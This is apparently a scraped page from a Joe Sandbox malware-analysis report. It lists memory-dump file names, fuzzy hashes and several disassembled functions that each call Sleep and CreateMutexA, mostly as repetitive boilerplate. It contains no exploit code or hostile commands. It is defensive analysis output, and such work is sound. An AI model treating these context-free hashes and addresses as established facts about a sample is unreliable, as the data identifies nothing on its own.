Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b434df57ccaa439149c9b9c0dc016c76f6e507c15cb44e7c624c9b89fba2f426
Instruction ID: 01f7911d68316faba96537bf829573af6f71a3f8bbf8e5e8fe07328cff9a726e
Opcode Fuzzy Hash: b434df57ccaa439149c9b9c0dc016c76f6e507c15cb44e7c624c9b89fba2f426
Instruction Fuzzy Hash: 1F3115717142088BEB1CDB78DC887BDBBA2FBC5324F208219E168D77D5CB7659808752

Function 008FA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9de5acb50a9aff77ce27518e8bb6dc27f7d5fb7265c04abdce91451a5d0e46b2
Instruction ID: a2d7981d48a2462e2d27834121442b0a51de4f93a9eaa2893be6e46aa4499b19
Opcode Fuzzy Hash: 9de5acb50a9aff77ce27518e8bb6dc27f7d5fb7265c04abdce91451a5d0e46b2
Instruction Fuzzy Hash: 3A3127B17102089BEB1CDB78DD89B7DBB76EBC5324F208218E128D77D5CB7659808752

Function 008FA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 372a1a29baa5b89d6e19233139463b8c83a9c38f3693e7c16b9d082a59fa1469
Instruction ID: acf6837edf0fd1defe68e0c4e1d75cc0224ea3ec76654113bd7147fab8119909
Opcode Fuzzy Hash: 372a1a29baa5b89d6e19233139463b8c83a9c38f3693e7c16b9d082a59fa1469
Instruction Fuzzy Hash: E83104B17002489FEB0CDBB8DC89B7DBB66FBC5324F208228E128D73D1D77659808652

Function 008FA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4ee7045f1632e51a1395df898ec3ba65ce399d6aa2124ee8efe4bca27cf37081
Instruction ID: ac364f2c4671722d1fe04dc5baa9eeb664501192f1569327be8b245c70d00e77
Opcode Fuzzy Hash: 4ee7045f1632e51a1395df898ec3ba65ce399d6aa2124ee8efe4bca27cf37081
Instruction Fuzzy Hash: 18312BB17002089BEB0CDB78DC8977DBB61FFD5324F208218E268D77D5DBB559808656

Function 008FA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
